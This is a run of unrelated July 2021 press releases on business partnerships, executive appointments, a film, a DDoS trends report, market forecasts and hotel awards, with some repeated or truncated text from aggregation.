"As we advance Convergent's aggressive 2021 strategic plan, we are pleased to be expanding our footprint and to have a more formally aligned relationship with Helm Partners. Expanding into the Metro Philadelphia marketplace provides us a base of operation to support our clients and is a catalyst for continued growth. Our joint marketing agreement with Helm makes our portfolio of services available to them, while we add a new layer of support to their Mitel customer base. We could not be happier to be collaborating with Helm; at the core, we share a lot of the same values and that became even more apparent to us as we structured this agreement," said Christopher Jones, President and CEO.

About Convergent

Convergent is a technology partner specializing in advanced solutions for customers located throughout the United States. With over 45 years of serving clients, our team has grown into a solution provider implementing and managing data center infrastructure, unified communications, and cloud solutions. We have grown our business by aligning technology to the business needs of our clients and delivering a single source of accountability across all aspects of their infrastructure. Today, Convergent is proud to be a respected technology company by our clients, the business partners, and service provider partners we represent. In a world dominated by rapid changes in technology, Convergent's philosophy is a commitment to excellence and simplicity for our customers. For more information about Convergent, please visit www.askconvergent.com .

About Helm

Helm Partners is a technology advisory services firm helping reshape businesses for growth and achieve better outcomes throughout their digital transformation journey. Helm provides a roadmap for purposeful change. Located in Plymouth Meeting, Pennsylvania, Helm has been a trusted advocate for their global client base since 2001. Helm's core practices focus on cloud communications, contact center solutions, nextgen network strategies, cyber security, cloud and managed services, and expense management, supporting clients from assessment through implementation and the ongoing lifecycle. From insight comes action, take the Helm.

CONTACT: John Frank Stubits, [email protected]

SOURCE Convergent

Related Links

http://www.askconvergent.com


This one-of-a-kind service enabling users to access ALL accommodation solutions at the best price, in a single search, is expanding its international reach across 50 countries, including the United States, Russia, Brazil, Australia, India and Mexico.

PARIS, July 14, 2021 /PRNewswire/ -- Searching for accommodations is a real puzzle these days due to the dizzying array of sites, possibilities and prices on offer. Getting your bearings can get very complex and time-consuming. And at the end of the day, it's hard to be sure you've chosen the best offer.

For the first time, a search engine presents all available accommodation solutions in an impartial and transparent manner. Whether you're looking for a hotel room, an apartment or house rental, a boat, a bed in a youth hostel, atypical accommodations (tipi, yurt, treehouse, etc.) or even more traditional options (cabin, lodge, riad, camping, etc.), you'll find what you need through cozycozy.com , which offers the world's widest range of accommodations. It's designed to help travellers compare, filter and sort offers, so they can search with confidence. All rates quoted are final, including all fees, to maintain transparency and impartiality. With just one click, travellers can now find their ideal accommodations, always at the best price, among hundreds of specialty sites like Booking.com, Airbnb, VRBO, Trip, Agoda, Hotels.com, Expedia, and many more: cozycozy.com features more than 15 million accommodation listings.

Thanks to its intuitive, user-friendly interface, cozycozy.com makes it quick and easy to search for accommodations on a computer or mobile, and aims to become the go-to reference among travellers! "With cozycozy, users choose where they want to book," said co-founder Guillaume Bril. "We don't manipulate data, so you'll never see 'only 2 rooms left' or '20 people are looking at this offer.' Whether you're booking in advance or at the last minute, cozycozy will be your best tool to find the latest accommodations available. So it's not too late to book your vacation."

About cozycozy.com

Cozycozy.com is the world's first search engine enabling users to view all available vacation accommodations in an impartial and transparent manner. The platform features over 15 million accommodation listings.

PRESS CONTACTS: [email protected]

Logo - https://mma.prnewswire.com/media/1572347/CC_qr_code_2x_Logo.jpg

Related Links

http://cozycozy.com



SOURCE Cozycozy.com
Sriram Ramnarayan has a successful career of over two and half decades in the financial markets with a proven leadership in building, managing and successfully transforming businesses. Strongly skilled in sales, partner management, P&L management and people leadership, he has been passionate in developing client-focused high performing teams and possesses deep time-tested relationships with senior client decision-makers across sectors.

With rich experience across asset classes, trading platforms, data and analytics, and risk management applications, Sriram brings proven expertise in driving customer growth journeys. He has worked with Thomson Reuters in progressive business leadership roles, including Country Head and Director - Market Development, Financial and Risk, South Asia. He has also contributed his experience as a Board Advisor and Consultant to major Fintech and BFSI sector companies.

Commenting on the appointment, Anshuman Panwar - Co-Founder, Creditas said, "Sriram has demonstrated leadership in scaling businesses with a proven track record within the various facets of the financial industry. His successful leadership experience will help us bring tighter focus on strengthening our global positioning and support our company's ambitious growth plans."

"I am delighted to join the talented Creditas team and be a part of the industry leading fintech built on a strong foundation. The Company has robust growth opportunities: the operating models for the finance sector are fast evolving as the shift to digital solutions and experiences accelerate. I look forward to collaborating with the leadership team at Creditas as we continue to expand our reach and drive differentiated growth for our customers," Sriram commented.

Creditas Solutions is India's leading fintech company that is reinventing debt collections with revolutionary customer engagement solutions for financial institutions. Using cutting-edge Artificial Intelligence driven solutions, Creditas enables lenders to significantly reduce loan defaults and radically improve collections performance. The Company pioneered the digital frictionless collection concept globally and is driving the vision to radically transform the financial sector with the deployment of new-age technology.

About Creditas Solutions Pvt Ltd

Creditas Solutions is a fintech company redefining customer engagement for financial institutions in India. The company is driven with a vision to radically transform the financial sector in the country with the deployment of new-age technology. Creditas Solutions has been helping financial institutions expedite and optimise customer engagement while assisting in delinquency reduction financial literacy, and portfolio management. The core business model leverages Machine Learning (ML) and other advanced technologies to present financial institutions with an enhanced way to reach and interact with their customers. Being a pioneer in offering cutting-edge technology and digitally superior solutions, Creditas Solutions has emerged as a leading technology partner to top-notch Banks, Insurance providers, FIs, and NBFCs in India, including HDFC, ICICI, Axis, Citibank, Kotak and TATA AIA, among others.

Photo: https://mma.prnewswire.com/media/1573817/Sriram_Ramnarayan_Creditas_Solutions.jpg

SOURCE Creditas Solutions Pvt Ltd
Starring Jason Castro as Jesus Christ, the film centers on a group of young geniuses responsible for creating a time travel machine only to find that extremists, led by the financer of the machine, are attempting to use it for the religious assassination of Jesus prior to his crucifixion. But their interference in the evil plot causes mankind to enter an apocalypse leaving the fate of the world in the hands of a genius with no faith and a man who has lost his. The film also stars Gerardo Davila and Johnny Rey Diaz.

"My goal with Black Easter was to create a movie that was not only highly entertaining and filled with excitement at every twist and turn but one that also leaves the audience with a taste of the Gospel in a way that they don't feel like they're being lectured to," said Carroll. "Everybody always says 'Why doesn't someone make a good Christian movie, something that isn't preachy?' Well, now we have one."

Prior to its Prime debut, Black Easter was released at select Studio Movie Grill theaters where it received widespread prestigious attention including being crowned 'Best Action Screenplay' at the Los Angeles Film Awards, 'Best Featured Script' at the Calcutta International Cult Film Festival and 'Best Original Screenplay Winner' at the London Independent Film Awards in addition to being honored at the Barcelona Film Festival. A majority of critics have also given the film a coveted positive rating on Rotten Tomatoes.

To learn more about Black Easter, visit www.blackeastermovie.com .

About Black Easter

Black Easter is a critically acclaimed, science fiction cult blockbuster now available exclusively on Amazon Prime. Centering around an extremist group's mission to assassinate Jesus Christ by way of time travel, Black Easter is packed with drama and adventure. The film is rated PG-13. For more on Black Easter, visit www.blackeastermovie.com .

Media Contact:

Jim Carroll

[email protected]

SOURCE Black Easter

Related Links

http://www.blackeastermovie.com/


Additional key findings from the report include:

Greater incidence of high intensity attacks  With an overall rise in available network capacity, cyber criminals are increasingly targeting their victims with high intensity attacks, rather than simply congesting client links.

With an overall rise in available network capacity, cyber criminals are increasingly targeting their victims with high intensity attacks, rather than simply congesting client links. DNS and NTP amplification attacks  These were the most common attack vectors in 2020.

These were the most common attack vectors in 2020. Activity peaks mirror COVID lockdowns  It was found that attack traffic mirrored the main spring and autumn lockdowns that took place in the US and Europe .

It was found that attack traffic mirrored the main spring and autumn lockdowns that took place in the US and . Carpet bombing is on the increase  A clear trend has been seen of larger, co-ordinated attacks from multiple sources towards dynamically changing hosts within a target network. Previously this attack type was seen in severe, but isolated cases, but this activity is now more consistent and sustained.

"The rise of carpet bombing as a popular attack vector and a dramatic increase in peak attack traffic are two important reasons why organizations need to move to automatic threat mitigation techniques," said Jorg Dekker, Head of Internet Services at Telia Carrier. "The volume and frequency continues to increase, and cyber criminals are using the huge bandwidth available across the Internet to target their victims with speed and ferocity from multiple launch points simultaneously. These dynamic and unpredictable attacks are precision planned and automated, so customers must fight fire with fire, by investing in auto-mitigation as they move away from static traffic inspection and mitigation."

The full report can be downloaded here.

About Telia Carrier

Telia Carrier solves global connectivity challenges for multinational enterprises whose businesses rely on digital infrastructure. On top of the world's #1 ranked IP backbone and a unique ecosystem of cloud and network service providers, we provide an award-winning customer experience to customers in 125 countries worldwide. Our global Internet services connect more than 700 cloud, security and content providers with low latency. For further resilience, our private Cloud Connect service connects directly to Amazon Web Services, Microsoft Azure, Google Cloud, IBM Cloud and Oracle cloud across North America, Europe, and Asia. Discover more at teliacarrier.com , and follow us on LinkedIn and Twitter.

Contacts

Telia Carrier:

Martin Sjogren, Senior Manager PR and Analyst Relations

+46 (0)707 770 522

[email protected]

Media contacts:

Europe

Lorena Duke, Ascendant Communications, +44 (0) 20 8334 8041, [email protected]

US

Margaret Carpo, Engage PR, +1 510 295 4972, [email protected]

SOURCE Telia Carrier

Related Links

http://www.teliacarrier.com/


TEHRAN, Iran, July 14, 2021 /PRNewswire/ -- Digikala commenced its ventures with the vision of becoming the most customer-centric Iranian business and continues to deem customer-centricity as the business's most substantial core value. This corporation aims to become the primary destination for online shopping, not only in Iran but also in the Middle East, by using breakthrough technologies to reach several goals tending to the needs of customers. These goals include creating a first-rate shopping experience for customers, presenting a deep assortment and a wide variety of products, offering favorable prices, producing abounding and valuable content, having the quickest delivery time, and completing operations efficiently. With over 5 million product varieties, more than 150 thousand marketplace sellers, and 40 million active monthly users, Digikala is regarded as the prevailing e-commerce business in the Middle East.

Digikala is the largest online marketplace in Iran and the Middle East

Founded in 2006 with inadequate funds, Digikala is the largest e-commerce business in Iran as of today as it had a substantial share of the country's e-commerce industry in 2020. Despite being known as the leader of online retail in Iran, Digikala has had a constructive impact by contributing far more than just an online store in fortifying the country's business ecosystem within the e-commerce industry.

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Digikala

Digikala is the largest online marketplace in Iran and the Middle East

SOURCE Digikala
SAN FRANCISCO, July 14, 2021 /PRNewswire/ -- The global digital education market size is expected to reach USD 77.23 billion by 2028, according to a new report by Grand View Research, Inc. The market is anticipated to register a CAGR of 30.5% from 2021 to 2028. The education industry has witnessed a paradigm shift from conventional exam-oriented learning to personalized and interactive learning in recent years. As digitization continues to penetrate the education industry, the latest technologies and new and creative techniques are being used to deliver knowledge and educational content, thereby transforming learning and development into a lifelong process. Looking forward to the future, digital education is predicted to benefit several beneficiaries across various geographies, demographics, ages, and socioeconomic conditions.

Key Insights & Findings:

Digital technology can improve access to education. Learners are increasingly shifting toward eBooks that can be accessed online from anywhere across the globe. Digital content is comparatively easy to generate than printed content, which tends to incur higher production costs

Digital books are available in different languages and can be easily translated and retrieved by a wider user base. Moreover, learners, especially with physical disabilities, can listen to the educational content in an audio format to improve their vocabulary and encourage better interpretive reading

Enhancing student engagement is emerging as a prime concern for educators. Hence, market players are responding to such concerns by introducing advanced interactive whiteboards and are shifting from projector-based displays to touch screen displays. Such initiatives are encouraging active learning and developing critical readiness skills into the learners

To gain a competitive edge in the market, players have started adopting the client base expansion strategy by raising funds for the development of their platform. For instance, in November 2020 , Udacity, Inc. raised USD 75 million in the form of a debt facility. The company will be using the funding amount to invest in its online course platform to attract more business customers

Read 101 page market research report, "Digital Education Market Size, Share & Trends Analysis Report By Course Type (Business Management, Science, Technology, Engineering, & Mathematics), By Learning Type (Self-paced, Instructor-led), By End-user, By Region, And Segment Forecasts, 2021 - 2028'' by Grand View Research.

Digital education has changed the way people are pursuing learning. The interactive, flexible, high-quality, and collaborative learning facilitated by online learning platforms is particularly stimulating the growth of digital learning. Digital learning also provides users with the flexibility to take courses at their convenience. Hence, several institutions are offering online learning to their students. Corporates are also adopting online training modules for training their employees and helping them in upgrading their skill sets. Digital learning can also help overcome the barriers associated with the conventional teaching approach, such as the difference in the pace of learning of different students.

Education institutes have adopted digital learning to improve the efficiency of various processes, such as tracking students, reducing operational costs, and enhancing safety and security while providing information tools for teachers, administration staff, students, and researchers. Progressive educational institutions are looking forward to adopting the latest technology to transform the learning environment and merge the physical and virtual world to derive better student outcomes. The global market is a rapidly growing sector with companies spanning from early-stage start-ups to publicly traded organizations. The market is gaining a lot of attention from seasoned industry participants and generalist investors, primarily across the three main categories, i.e., K-12, higher education, and corporate learning. Each sector is unique and has different funding mechanisms, end users, and buyers.

Grand View Research has segmented the global digital education market based on course type, learning type, end-user, and region:

Digital Education Course Type Outlook (Revenue, USD Million, 2017 - 2028)

Science, Technology, Engineering, and Mathematics (STEM)



Business Management



Others

Digital Education Learning Type Outlook (Revenue, USD Million, 2017 - 2028)

Self-paced



Instructor-led

Digital Education End-user Outlook (Revenue, USD Million, 2017 - 2028)

Academic Institutions & Individuals



Enterprises

Digital Education Regional Outlook (Revenue, USD Million, 2017 - 2028)

North America



U.S.





Canada





Mexico



Europe



Germany





U.K.





France



Asia Pacific



China





Japan





India



South America



Brazil



Middle East and Africa

List of Key Players of Digital Education Market

Coursera Inc.

edX Inc.

Pluralsight LLC

Brain4ce Education Solutions Pvt. Ltd. (Edureka)

Udacity, Inc.

Udemy, Inc.

Miriadax

Jigsaw Academy

Iversity

Intellipaat

Check out more studies related to education technology, by Grand View Research:

Smart Education And Learning Market  The global smart education and learning market size was valued at USD 182.8 billion in 2019 and is expected to grow at a compound annual growth rate (CAGR) of 17.9% from 2020 to 2027.

The global smart education and learning market size was valued at in 2019 and is expected to grow at a compound annual growth rate (CAGR) of 17.9% from 2020 to 2027. Education Technology Market  The global education technology market size was valued at USD 89.49 billion in 2020 and is expected to witness a compound annual growth rate (CAGR) of 19.9% from 2021 to 2028.

The global education technology market size was valued at in 2020 and is expected to witness a compound annual growth rate (CAGR) of 19.9% from 2021 to 2028. Education & Learning Analytics Market  Global education and learning analytics market size was valued at USD 17.01 billion in 2018 and is expected to grow at a compound annual growth rate (CAGR) of 17.4% from 2019 to 2025. The increased awareness about the potential of learning analytics in improving or changing a learning system in response to student performance.

Browse through Grand View Research's coverage of the Global Next Generation Technologies Industry .

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About Grand View Research

Grand View Research, U.S.-based market research and consulting company, provides syndicated as well as customized research reports and consulting services. Registered in California and headquartered in San Francisco, the company comprises over 425 analysts and consultants, adding more than 1200 market research reports to its vast database each year. These reports offer in-depth analysis on 46 industries across 25 major countries worldwide. With the help of an interactive market intelligence platform, Grand View Research helps Fortune 500 companies and renowned academic institutes understand the global and regional business environment and gauge the opportunities that lie ahead.

Contact:

Sherry James

Corporate Sales Specialist, USA

Grand View Research, Inc.

Phone: 1-415-349-0058

Toll Free: 1-888-202-9519

Email: [email protected]

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SOURCE Grand View Research, Inc.
Discovery Park CEO, Scott Williams, has released a book about Crockett, "The Accidental Fame and Lack of Fortune of West Tennessee's David Crockett." He will be hosting a panel discussion that day with guests Broadway actor Bart Shatto and educator Arthur W. Hunt III, PhD.

Shatto is a member of the original Broadway casts of Tony-nominated "Hands on a Hardbody" and "The Civil War." He has also been seen on Broadway in "War Paint," in the iconic role of Jean Valjean in "Les Miserables" and he originated the role of Quincey Morris in "Dracula." Shatto and a team are currently working on a new play, "The Confessions of Davy Crockett," that takes place in Memphis the night before he departs Tennessee for Texas. Shatto will also be performing at Discovery Park on Aug. 14.

Dr. Hunt is professor of Mass Media and Strategic Communication at the University of Tennessee at Martin where he teaches public speaking related courses. For three years, he performed a living history program for Tennessee state parks, schools and other venues called, "The Story of Davy Crockett as Told By Himself."

Throughout the day, guests will be able to experience Crockett and learn more about his contribution to West Tennessee with panel discussions, performances and activities taking place throughout the museum and park.

Crockett, known for his marksmanship, was one of the earliest non-Native American hunters around nearby Reelfoot Lake. A passionate advocate for the earliest settlers of West Tennessee, he served in the state legislature from 1821 to 1824, then as congressman representing West Tennessee counties in the United States House of Representatives from 1827 to 1831 and 1833 to 1835. He represented settlers making their homes in the counties of Carroll, Dyer, Fayette, Gibson, Hardeman, Hardin, Haywood, Henderson, Henry, Lawrence, Madison, McNairy, Obion, Perry, Shelby, Tipton, Wayne, and Weakley.

Residents of all the counties listed, along with Benton, Chester, Crockett, Decatur, Lake and Lauderdale that were formed later, will receive free admission on Sat., Aug. 14 with a valid Tennessee driver's license or other form of identification noting a residence in one of the listed counties.

Visitors will find many ways to experience David Crockett at Discovery Park all year long. Included is a statue dedicated to the frontiersman, a congressional exhibit in Liberty Hall at Freedom Square, a reproduction of Crockett's portrait by John Gadsby Chapman, the Regional History Gallery telling the story of Northwest Tennessee, a 20,0000-gallon aquarium and tanks featuring the wildlife of Reelfoot Lake, a one-of-a-kind Earthquake Simulator, the Native American Gallery, an 1800s Tennessee log cabin community, Mill Ridge featuring a working gristmill and forge and more.

For complete details and the most updated list of activities for David Crockett's 235th Birthday Celebration, visit Discovery Park's online calendar of events.

About Discovery Park of America

The mission of Discovery Park of America, a premier world-class museum and 50-acre heritage park located in Union City, Tennessee, is to inspire children and adults to see beyond. Included is a 100,000-square-foot museum featuring 9 interactive exhibit galleries with additional space for temporary exhibits from around the world and a 50-acre heritage park. Discovery Park of America is a 501(c)(3) public charity funded by generous individuals, corporations and foundations including its principal funder, the Robert E. and Jenny D. Kirkland Foundation. For more information, visit DiscoveryParkofAmerica.com , Facebook , Instagram and Twitter .

Contact:

Emily Wilson

731-885-5455

[email protected]

SOURCE Discovery Park of America

Related Links

http://www.discoveryparkofamerica.com


CHICAGO, July 14, 2021 /PRNewswire/ -- In-depth analysis and data-driven insights on the impact of COVID-19 included in this global disposable gloves market report.

The global disposable gloves market is expected to grow at a CAGR of over 10.84% during the period 20202026.

Key Highlights Offered in the Report:

COVID-19 impacted the disposable glove market positively, the demand skyrocketed during the pandemic. Many vendors are already filled with the orders for 2020, and 2021. The vendors are working with full capacity continuously to supply the orders. Due to the pandemic and the global lockdown, there is a huge shortage of raw materials, which is increasing the cost of disposable gloves in the market. The nitrile segment dominated the market; however the latex segment is growing at a CAGR of 11.40% by 2026. Large number of innovations, new synthetic mixed latex gloves are introduced into the market, which is accelerating the demand in the market. Powder-free gloves dominate the market. Multiple regulatory bodies have restricted the usage of the powdered gloves thereby, fueling the demand for the powder free glove usage in the market. It is expected to grow at a CAGR of 11.06% during the forecast period. The medical segment dominated the market, as they are the largest consumers of disposable gloves. Additionally, the pandemic further increased the usage of the examination glove across the globe and demand increased largely in the market and is expected to grow at a CAGR of around 11.64% by 2026. The B2B/institutional distributional channel dominated the market. During the COVID-19 pandemic multiple governments were involved directly to procure the disposable gloves for their countries. However, the retail segment is expected to grow at a CAGR of 12.90%, as it is the mostly preferred channel of purchase among the end-users. North America dominated the market in terms of revenue and Europe dominated in terms of consumption of disposable gloves.

Key Offerings:

Market Size & Forecast by Revenue | 20202026

Market Dynamics  Leading trends, growth drivers, restraints, and investment opportunities

Market Segmentation  A detailed analysis by products type, form, end-users, distribution channel, and geography

Competitive Landscape  5 key vendors and 52 other vendors

Get your sample today! https://www.arizton.com/market-reports/disposable-gloves-market-2025

Gloves Market  Segmentation

Disposable

In 2020, the nitrile material segment accounted for a share of 41.55% in the global disposable gloves market. In the disposable gloves market, the two major types of gloves used are nitrile and latex. Nitrile gloves are commonly used as examination gloves; however, because of their strength, they can be used for multiple purposes.

The powder-free gloves are seen as the major revenue contributor compared to the powdered gloves. For instance, in 2021, latex powder-free gloves accounted for 20%, followed by latex powdered gloves with 13% of the market revenue.

In 2020, the surgical gloves sub-segment accounted for a share of 17.63% in the medical disposable gloves market. To meet the rising need for hygiene and safety standards globally, modern surgical gloves are designed based on the most latest scientific developments. A majority of the surgical gloves are made of durable material including NRL, nitrile, neoprene, vinyl, and other synthetic materials, but are also very thin to make sure that surgeons have full function and sensitivity of their hands.

Disposable Gloves Market by Product Type

Latex

Nitrile

Neoprene

Vinyl

Others

Disposable Gloves Market by Form

Powdered

Powder Free

Disposable Gloves Market by End-User

Medical

Surgical



Examination

Non-Medical

Industrial



Chemical



Food



Others

Disposable Gloves Market by Distribution Channel

B2B/Institutional

Retail

Others

Disposable Gloves Market  Dynamics

The usage of disposable gloves in the food industry is increasing with the introduction of new guidelines and regulations to prevent cross-contamination and food poisoning. Most food handlers are using disposable gloves to ensure food safety, prevent cross-contamination, and protect their hands. The food & beverage industry is witnessing a high prevalence of food contamination in recent years. Every day, there are reports of bacterial contamination in food. Some of the food manufacturing companies have recalled products due to contamination. To avoid these scenarios, food manufacturing companies are insisting that workers wear disposable gloves during food handling. Food contamination is prevalent in the UK and food companies are continually looking at ways to improve their processes, especially in the areas of food preparation, food handling, and food service.

Key Drivers and Trends fueling Market Growth:

Rising Number of Infectious Diseases & HAIs

Rise in Medical Tourism

Rising Number of Infectious Diseases & HAIs

Concern Towards Personal Hygiene

Disposable Gloves Market  Geography

In 2020, North America dominated the market and accounted for the largest share of 34.06% in the global disposable gloves market. The US and Canada are the major revenue contributors in this region. The US is one of the largest consumers of disposable gloves both regionally and globally due to its highly developed healthcare infrastructure and increased awareness among the population in the country. North America is seen as a major target for various key players in the disposable gloves market. Because of the constant usage of disposable gloves, especially in the medical segment, many large companies like Kossan, Top Glove, and Supermax are planning to increase their presence in the North American market either through acquisitions or launching new products like temperature-resistant and puncture-resistant gloves in the market to attract a large number of customers.

Get your sample today! https://www.arizton.com/market-reports/disposable-gloves-market-2025

Disposable Gloves Market by Geography

North America

US



Canada

Europe

Germany



Italy



France



UK



Spain

APAC

China



Japan



India



Australia



South Korea

Latin America

Argentina



Brazil



Mexico

Middle East & Africa

South Africa



Saudi Arabia



UAE

Major Vendors

Top Glove

Kossan

Hartalega

Rubberex

Ansell

Other Prominent Vendors

Asma Rubber Products

Ammex

Adenna

Acteon

Adventa Health

Akzenta International

Alboland

ASID-BONZ GmbH

B. Brawn Melsungen AG

Berner International

Body Products

Barber Healthcare

Comfort Rubber Gloves

Cardinal Health

Ceabis

Dynarex

Demophorious Healthcare

Erenler Medikal

Infitec Gloves

Kimberly-Clark

Kanam

Mapa Professional

Medicom

Molnlycke

Mercator Medical

Medline

Medpride

Nulife

Neomedic

O&M Halyard

Primus Gloves

Riverstone Holdings

RFB Latex

Robinson Healthcare

Sempermed

Sara Healthcare

Shandong Xingyu Gloves

Safeshield India Rubber Products

Supermax

Sas Safety Corp

Showa

Superior Glove

Sri Trang

Tan Sian Lian Industries

The Glove Company

Unigloves

Venom Steel

Winmed Group

Wujiang Evergreen

YTY Group

Zhangjiagagang Dayu Rubber Products

3M

Explore our consumer goods & retail technology profile to know more about the industry.

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Arizton Advisory and Intelligence is an innovation and quality-driven firm, which offers cutting-edge research solutions to clients across the world. We excel in providing comprehensive market intelligence reports and advisory and consulting services.

We offer comprehensive market research reports on industries such as consumer goods & retail technology, automotive and mobility, smart tech, healthcare, and life sciences, industrial machinery, chemicals and materials, IT and media, logistics and packaging. These reports contain detailed industry analysis, market size, share, growth drivers, and trend forecasts.

Arizton comprises a team of exuberant and well-experienced analysts who have mastered in generating incisive reports. Our specialist analysts possess exemplary skills in market research. We train our team in advanced research practices, techniques, and ethics to outperform in fabricating impregnable research reports.

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SOURCE Arizton Advisory & Intelligence
CLEARWATER, Fla., July 14, 2021 /PRNewswire/ -- DocuPhase LLC, the industry leading software provider for business process automation solutions, continues to invest in resources, personnel, and technology amidst a record-setting first half of 2021.

Last year, DocuPhase celebrated record year growth in the company's 21-year history. We are proud to report that sales have already surpassed last year's numbers and it's just the beginning. In conjunction with this incredible sales performance, DocuPhase also expanded their product portfolio and market share through the acquisition of Treeno Software and Clearwater Payments in April. These exciting investments offer DocuPhase an opportunity to enhance and expand its breadth of tools available to clients in order to truly offer an end-to-end accounting and business process solution.

Since 2000, DocuPhase has provided an online document storage and automation platform for Accounting, Finance, HR and Operations departments, but according to VP of Sales, Mike Kavanagh: "Our growth in 2020 was a direct result of companies recognizing the need for automation in their business processes. When establishing post-pandemic measures, companies are eager to invest in technology that enables their employees to be more productive wherever they choose to work. We continue to see this need accelerate and early adopters are increasing efficiency within their businesses."

To support this exceptional growth, DocuPhase is pleased to be adding two key team members: Chief Financial Officer, Bill Rooney, and Vice President of Marketing, Peggy Smith.

CFO Bill Rooney will be leveraging 20+ years of experience in creating highly efficient finance and account functions through process re-design and performance management. Bill has lead organizations through successful exits and raised capital via venture financings, bank, and venture debt. Most recently, Bill was the CFO of Saylent Technolgies, Inc., a Boston, MA SaaS software company providing marketing automation and data analytics to banks and credit unions. During his time there, he helped lead Saylent to a successful exit by MeridianLink, Inc.

Peggy Smith, VP of Marketing, brings 15+ years of marketing experience and leadership to DocuPhase. Peggy has extensive experience in managing multiple product portfolios, M&A integration, product marketing, demand generation, events, and sales enablement. Most recently, Peggy led marketing initiatives for Blackbaud and Community Brands providers of SMB to Enterprise SaaS software and payments.

DocuPhase CEO Dan Gaertner said: "We are fortunate to have Bill and Peggy join DocuPhase at such a pivotal expansion stage in our business. They both bring significant leadership experience and a proven track record of developing and scaling software companies through organic and M&A growth strategies. Bill and Peggy represent our investment in building on these recent achievements as well as our continued commitment to maintaining an excellent customer experience."

About DocuPhase

DocuPhase is an industry leading Document Management and Business Process Automation Platform. Document Management empowered by Automated Workflow provides customers an easy-to-use interface which is extendable to even the most complex implementations. For 20 years, DocuPhase has helped customers in Finance, Manufacturing, Government Agencies, Non-Profits, and many other industries achieve success in their organizations. Learn more about DocuPhase's Accounts Payable Solution which features ERP integrations at docuphase.com

Media Contact: Jessie Bumgarner, [email protected], 727-608-1768

SOURCE DocuPhase

Related Links

https://www.docuphase.com


NORTH BETHESDA, Md., July 14, 2021 /PRNewswire/ -- The Foundation for the National Institutes of Health (FNIH) announced today the decision of Dr. Maria C. Freire to step down as FNIH President and Executive Director in September 2021. Dr. Freire has served in that role since November 2012, making her the longest-serving leader of the FNIH since its inception 25 years ago.

"We are disappointed of course by Dr. Freire's decision to step down after nine very productive years as president and executive director; the FNIH will miss her wisdom, creativity and extraordinary leadership," said Steven M. Paul, M.D., FNIH Chairman, and Karuna Therapeutics CEO and Chairman. "Maria leaves the Foundation in a very strong position, having established it as a leader in advancing biomedical research worldwide. She has created a legacy of making a difference in people's lives and leaves the Board and the FNIH staff an inspired roadmap for the future."

Under Dr. Freire's leadership, the FNIH has become an innovative, impactful player in the national and international ecosystem of biomedical research. Now established as a world leader in pioneering public-private partnerships (PPPs), the FNIH has served as a model for organizations and foundations widely, including in the creation of other Congressionally mandated foundations that support the mission of agencies of the US federal government. Today, the FNIH is recognized as a catalytic force for research, whose initiatives set the pace for innovation around the globe.

"Under Maria's inspired leadership, the FNIH has been an invaluable partner in launching game-changing public-private partnerships and managing complex biomedical research programs to accelerate new ways to prevent, diagnose and treat disease and get them to patients faster," said NIH Director, Francis S. Collins, M.D., Ph.D. "She transformed the Foundation, making it an international player in forging critical partnerships, most recently in the fight against COVID-19. She will be greatly missed."

During Dr. Freire's tenure, the FNIH saw unprecedented growth and initiated new programs, including the trailblazing Accelerated Medicines Partnership (AMP) and the critically important Accelerating COVID-19 Therapeutic Interventions and Vaccines (ACTIV) program. It has recognized the contributions of America's scientific leaders through the Lurie Prize in Biomedical Sciences and Trailblazer Prize for Clinician-Scientists and championed programs that directly benefit patients. The FNIH substantially increased its revenue, attracted dedicated, world-class staff, advisors and partners and provided streamlined, cost-effective and highly productive operations.

"I leave the FNIH with a great sense of pride in its accomplishments and confidence in its future," said Dr. Freire. "It is with this certainty that I have informed the Board of Directors and my staff that I have done what I set out to do when I joined nine years ago. It has been an honor and a privilege to work hand-in-hand with the remarkable men and women who have enabled the FNIH to make hugely impactful contributions to biomedical research, which will lead to better health for people."

The Board of Directors has named David Wholley, currently Senior Vice President, Research Partnerships, as Interim President and Executive Director after Dr. Freire's departure while it conducts a national search for the next president and executive director.

About the Foundation for the National Institutes of Health

The FNIH creates and manages alliances with public and private institutions in support of the mission of the NIH, the world's premier medical research agency. The Foundation works with its partners to accelerate biomedical research and strategies against diseases and health concerns in the United States and across the globe. The FNIH organizes and administers research projects; supports education and training of new researchers; organizes educational events and symposia; and administers a series of funds supporting a wide range of health issues. Established by Congress in 1990, the FNIH is a not-for-profit 501(c)(3) charitable organization. For additional information about the FNIH, please visit https://fnih.org.

Katherine Thompson

[email protected]

301 435-4038

SOURCE Foundation for the National Institutes of Health

Related Links

http://www.fnih.org


"We are grateful to our guests for putting their trust in us during such an unprecedented year for the hotel and hospitality industry," said Chuck Drury, president and CEO of Drury Hotels. "Their decision to stay at our hotels underscores our team's reputation and ongoing commitment to provide exceptional service, clean rooms and honest value. Winning our 16 th consecutive J.D. Power award speaks to the united and consistent effort our team members display every day."

Drury performed well in all seven J.D. Power hotel factors, which include reservation, arrival/departure, guest room, food & beverage, services & amenities, hotel facilities and cost & fees.

"This is the 25th anniversary of the J.D. Power Hotel Guest Satisfaction Study," said Andrea Stokes, the hospitality practice lead at J.D. Power. "For 16 years in a row, Drury Hotels has had the highest overall guest satisfaction in the Upper Midscale hotel segment. Despite the pandemic, guests continued to experience the quality and consistency they rely on from Drury Hotels. Once again J.D. Power's Hospitality Team congratulates Drury Hotels for its performance."

The J.D. Power 2021 North America Hotel Guest Satisfaction Index StudySM is based on responses gathered between June 2020 and May 2021 from 32,963 guests in Canada and the United States who stayed at a hotel in North America. Click here for the J.D. Power press release, which includes rankings for all hotels.

Drury, which ranked No. 1 in the study's food & beverage factor, was the first hotel chain in the mid-priced segment to offer guests a free hot breakfast. Today, guests can count on Drury to provide a host of complimentary, best-in-class amenities including a fresh, hot breakfast; dinnertime snacks and drinks during the 5:30 Kickback; Wi-Fi throughout the hotel; on-site 24-hour business and fitness centers; refreshing pools and spas; and more.

Drury Hotels has been family-owned and operated since 1973. For a complete listing of all Drury hotels or for reservations, visit www.druryhotels.com or call 1-800-DRURYINN. For information about career opportunities at Drury Hotels, please apply online at www.drurycareers.com.

About Drury Hotels Company

Drury Hotels Company is a Missouri-based, family-owned and operated hotel system with more than 150 hotels in 26 states. Founded in 1973, Drury Hotels has been recognized by the J.D. Power 2021 North America Hotel Guest Satisfaction Index Study,SM earning the award for "Highest in Guest Satisfaction Among Upper Midscale Hotel Chains." In 2021, Drury received this award for a record 16th consecutive year.* Brands include Drury Inn & Suites, Drury Inn, Drury Plaza Hotel, Pear Tree Inn by Drury, as well as other hotels in the mid-priced hotel segment. Drury Hotels continues to provide exceptional value for business and leisure travelers with its many free amenities  Travel Happy. For more information, visit www.druryhotels.com or call 1-800-DRURYINN.

